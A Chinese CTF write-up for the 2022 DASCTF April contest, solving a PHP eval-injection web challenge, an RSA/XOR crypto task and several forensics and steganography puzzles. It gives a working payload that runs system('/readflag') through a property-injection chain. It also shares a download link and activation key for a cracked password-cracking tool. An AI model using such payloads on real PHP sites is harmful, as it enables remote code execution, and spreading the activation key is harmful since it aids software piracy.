2022DASCTF Apr X FATE 防疫挑战赛

2022DASCTF Apr X FATE 防疫挑战赛

解题思路

WEB

warmup-php

下载附件,得到 4 个.php 文件,好像需要代码审计

四个文件之间的继承关系为

图片.png

根据页面显示,发现我们能控制的变量有两个,一个是 action(可以访问四个类中的任意一个) 另一个是 properties(可以通过数组可以控制文件中任意属性的值)

image-20220505215541019

根据题目提示,我们选择先找到目的函数也就是我们的尾,经过分析在 Base 类中找到了 evaluateExpression 函数存在 eval 可以利用。

public function evaluateExpression($_expression_,$_data_=array())
    {
        if(is_string($_expression_))
        {
            extract($_data_);
            return eval('return '.$_expression_.';');
        }
        else
        {
            $_data_[]=$this;
            return call_user_func_array($_expression_, $_data_);
        }
    }

接下来一个一个文件找,什么函数能调用它,发现了 Filter 类、TestView 类有可以调用的

//Filter.php
protected function getLastModifiedValue()
    {
        if($this->lastModifiedExpression)
        {
            $value=$this->evaluateExpression($this->lastModifiedExpression);
            if(is_numeric($value)&&$value==(int)$value)
                return $value;
            elseif(($lastModified=strtotime($value))===false)
                throw new Exception("error");
            return $lastModified;
        }

        if($this->lastModified)
        {
            if(is_numeric($this->lastModified)&&$this->lastModified==(int)$this->lastModified)
                return $this->lastModified;
            elseif(($lastModified=strtotime($this->lastModified))===false)
                throw new Exception("error");
            return $lastModified;
        }
        return false;
    }
//TestView.php
 protected function getEtagValue()
    {
        if($this->etagSeedExpression)
            return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression));
        elseif($this->etagSeed)
            return $this->generateEtag($this->etagSeed);
        return false;
    }

两个都可以调用我们的目的函数,但是什么可以调用他们呢?看到 Base 类中的 get()方法,但是我们题目似乎无法触发 get() 方法,题目进行的是赋值操作,所以最多是调用 __set() 方法。所以这个就不考虑了

//base.php 
public function __get($name)
    {
        $getter = 'get' . $name;
        if (method_exists($this, $getter)) {
            return $this->$getter();
        } else {
            throw new Exception("error property {$name}");
        }
    }

还有一个方法就是从 TestView 调用

//TestView.php
public function renderTableRow($row)
    {
        $htmlOptions=array();
        if($this->rowHtmlOptionsExpression!==null)
        {
            $data=$this->data[$row];
            $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
            if(is_array($options))
                $htmlOptions = $options;
        }

        if($this->rowCssClassExpression!==null)
        {
            $data=$this->dataProvider->data[$row];
            $class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
        }
        elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
            $class=$this->rowCssClass[$row%$n];

        if(!empty($class))
        {
            if(isset($htmlOptions['class']))
                $htmlOptions['class'].=' '.$class;
            else
                $htmlOptions['class']=$class;
        }
    }

接下来从头到尾顺一遍

image-20220505223213040

我们看后面 $object->run(),看看其它类中的 run() 函数,可以看到只有 ListView 类中有 run() 函数

public function run()
{
    echo "<".$this->tagName.">\n";
    $this->renderContent();
    echo "<".$this->tagName.">\n";
}

然后 run()调用了 renderContent() 方法,再去寻找

public function renderContent()
{
    ob_start();
    echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
    ob_end_flush();
}

ob_start() 是开启缓存读取,可以读到一些输出的缓存
preg_replace_callback 是一个正则回调函数,把正则匹配到的数据放入函数的参数中它这里把 template 中匹配到正则的值传入 renderSection 函数的参数中,所以再找 renderSection()

protected function renderSection($matches)
{
    $method='render'.$matches[1];
    if(method_exists($this,$method))
    {
        $this->$method();
        $html=ob_get_contents();
        ob_clean();
        return $html;
    }
    else
        return $matches[0];
}

实例化对象时是对 ListView 子类 TestView 实例,而我们既然能调用到 TestView 中的函数,而我们的目的函数可以通过 TestView 中的 renderTableRow 调用

TestView&run()-----> TestView&renderContent() ------> TestView&renderSection()------> TestView&renderTableBody() -----> TestView&renderTableRow()------> TestView&evaluateExpression()

构造 payload:

GET: /?action=TestView
POST:
properties[template]={TableBody}&properties[rowHtmlOptionsExpression]=var_dump(system('/readflag'));&propertiesdata=123

image-20220506174948535

CRYPTO

easy_real

打开文件,#37693cfc748049e45d87b8c7d8b9aacd,应该是 md5 加密

flag = 'xxxxxxxxxxxxxxxxxxxx'
key = random.randint(1,10)
for i in range(len(flag)):
    crypto += chr(ord(flag[i])^key)
m = crypto的ascii十六进制
e = random.randint(1,100)
print(hashlib.md5(e))
p = 64310413306776406422334034047152581900365687374336418863191177338901198608319
q = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
n = p*q
c = pow(m,e,n)
print(n)
print(c)
#37693cfc748049e45d87b8c7d8b9aacd
#4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523
#3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397

根据提示,这是典型的 rsa 加密

from Crypto.Util.number import inverse,long_to_bytes
 
n=4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523
c=3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397
p = 64310413306776406422334034047152581900365687374336418863191177338901198608319
q=n//p
e=23
phi=(q-1)*(p-1)
d=inverse(e,phi)
m = pow(c, d, n)  
print(m);
//m=2976168736142380455841784134407431434784057911773423743751382131043957
//m="ndios_;9kgE;WK8e;W?gWn<\;k|nu"

直接求出明文的值
//m=2976168736142380455841784134407431434784057911773423743751382131043957
//m="ndios_;9kgE;WK8e;W?gWn<;k|nu"
key 是一个随机值,但是有范围的,我们直接暴力枚举

import random
import hashlib
import math
from Crypto.Util.number import inverse,long_to_bytes
 
n=4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523
c=3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397
p = 64310413306776406422334034047152581900365687374336418863191177338901198608319
q=n//p
e=23
phi=(q-1)*(p-1)
d=inverse(e,phi)
m = pow(c, d, n)  
print(m);
m="ndios_;9kgE;WK8e;W?gWn<\;k|nu"
for key in range(11):
  flag=""
  for i in range(len(m)):
    flag+=chr(ord(m[i])^key)
  print(flag)

image-20220506181534402

MICS

simple flow

解压压缩包,发现需要流量分析,用 winshark 打开

image-20220426083158504

翻一下 tcp 流,发现在第 50 流压缩了一个 flag.txt,在第 52 发现该 flag.zip,分别把他们导出来 (这里也可以使用 foremost 分离)

image-20220426083630846

image-20220426083714137

发现打开压缩包需要密码,所以先打开 txt 文本,寻找压缩包的密码。发现一段 basea64 编码,在线解码,得到压缩包密码 PaSsZiPWorD

image-20220425084608771

image-20220425084411337

得到 flag:DASCTF{f3f32f434eddbc6e6b5043373af95ae8}

image-20220425084844936

冰墩墩

下载附件,解压缩之后是 1000 个.txt 文本,其中有一个 start.txt。

image-20220426224952920

image-20220426225023509

其他的文件也基本是这个格式,15 个二进制加一句话,左边补 0,转化为 16 进制看一看

image-20220426225327824

mics 题做多了看到 504B,一定能想到压缩包, 现在就需要写一个脚本,将所有的二进制提取出来. 咱也不会,找到一个大佬写的脚本,跑一下

import re

path = 'D:\\BinDunDun\\'

regex_next = "is (.*?\\.txt)"
regex_data = "(.*?) =>"
next_file = 'start.txt'
final_data = ''
while True:
    context = open(path + next_file).read()
    try:
        file_data = re.findall(regex_data, context)[0]
        data = file_data.zfill(16)
        final_data += data
    except Exception as e:
        print(context)
        print('no data!')
    try:
        next_file = re.findall(regex_next, context)[0]
        if next_file == 'end.txt':
            break
    except Exception as e:
        print(context)
        print('no next!!')
        break

print(final_data)
with open(path+'final.zip','wb') as fp:
    fp.write(int(final_data,2).to_bytes(len(final_data),'big'))
fp.close()

image-20220426232241024

得到一个压缩包

image-20220426233416806

解压得到一个 pyc 和未知文件

image-20220426233506255

用 winhex 打开,感觉是一张图片,但是文件头不对,尝试修改文件头为 FFD8FF,打开是一个可爱的冰墩墩

image-20220427092644959

这里需要用到工具剑龙:Stegosaurus 是一款隐写工具,它允许我们在 Python 字节码文件 (pyc 或 pyo) 中嵌入任意 Payload(下载地址:https://github.com/AngelKitty/stegosaurus)剑龙加密,pyc pyo py 文件才有用的

将我们刚才得到的 pyc, 文件放在该目录下

QQ图片20220506184729.png

windows 下不知道为什么,一直报错,我们用 kali 试一试

下载:git clone https://bitbucket..org/jherron/stegosaurus.git 
将文件复制放在根目录下
python3 stegosaurus.py -x BinDunDun.pyc

image-20220427101555316

image-20220427101712238

image-20220427103752276

找一个低版本的试一试

image-20220428111802470

猜测是密码,尝试 jpg各种隐写,最后发现是 JPHS5

使用该工具,加入这个密码 BingD@nD@n_in_BeiJing_Winter_Olympics,得到一个 flag.txt, 里面有一段 base64 编码

var_dump(base64_decode('REFTQ1RGe0dvb2RfSm9kX0dpdmVfVGhlX0ZGRkZMQGdfVG9fWW91IX0=

解码:得到 flag:DASCTF{Good_Jod_Give_The_FFFFL@g_To_You!}

image-20220428112145886

熟悉的猫

打开发现是一个.kbdx 文件,想到使用 keepass 打开,发现有密码,使用 password kit 进行爆破

password kit

下载:https://pan.baidu.com/s/14nv-OCuiA33nymbGawKTyQ
百度网盘提取密码:bznr 解压密码:zdfans
激活密钥(断网):999999999996QMYCRGZXY877QNFEG62HQNFEG835

得到密码

得到密码为 13152,注意:文件都要使用附件里面的,不要被另一个文件夹干扰

image-20220427113834976

image-20220427113913833

得到一个 hint.txt 文件,这一步 ljj 说是零宽解密,在网上找到一个脚本

from functools import reduce
def Tuppers_Self_Referential_Formula():
 k = 92898203278702907929705938676672021500394791427205757369123489204565300324859717082409892641951206664564991991489354661871425872649524078000948199832659815275909285198829276929014694628110159824930931595166203271443269827449505707655085842563682060910813942504507936625555735585913273575050118552353192682955310220323463465408645422334101446471078933149287336241772448338428740302833855616421538520769267636119285948674549756604384946996184385407505456168240123319785800909933214695711828013483981731933773017336944656397583872267126767778549745087854794302808950100966582558761224454242018467578959766617176016660101690140279961968740323327369347164623746391335756442566959352876706364265509834319910419399748338894746638758652286771979896573695823608678008814861640308571256880794312652055957150464513950305355055495262375870102898500643010471425931450046440860841589302890250456138060738689526283389256801969190204127358098408264204643882520969704221896973544620102494391269663693407573658064279947688509910028257209987991480259150865283245150325813888942058
    # 这里替换为你自己的K值
    def f(x, y):
        d = ((-22 * x) - (y % 22))
        e = reduce(lambda x, y: x * y, [2 for x in range(-d)]) if d else 1
        g = ((y // 22) // e) % 2
        return 0.5 < g
    for y in range(k + 16, k - 1, -1):
        line = ""
        for x in range(0, 160):
            if f(x, y):
                line += " ■"
            else:
                line += "  "
        print(line)
if __name__ == '__main__':
    Tuppers_Self_Referential_Formula()

跑一下,得到三个参数 33,121,144

image-20220427114959416

image-20220427115207524

结合 flag.png, 猜测猫变换,使用脚本,跑一下就得到了最后的图片

from PIL import Image
img = Image.open('flag.png')
if img.mode == "P":
    img = img.convert("RGB")
assert img.size[0] == img.size[1]
dim = width, height = img.size

st = 33
a = 121
b = 144
for _ in range(st):
    with Image.new(img.mode, dim) as canvas:
        for nx in range(img.size[0]):
            for ny in range(img.size[0]):
                y = (ny - nx * a) % width
                x = (nx - y * b) % height
                canvas.putpixel((y, x), img.getpixel((ny, nx)))
canvas.show()
canvas.save('ok2.png')

QQ图片20220506184855.png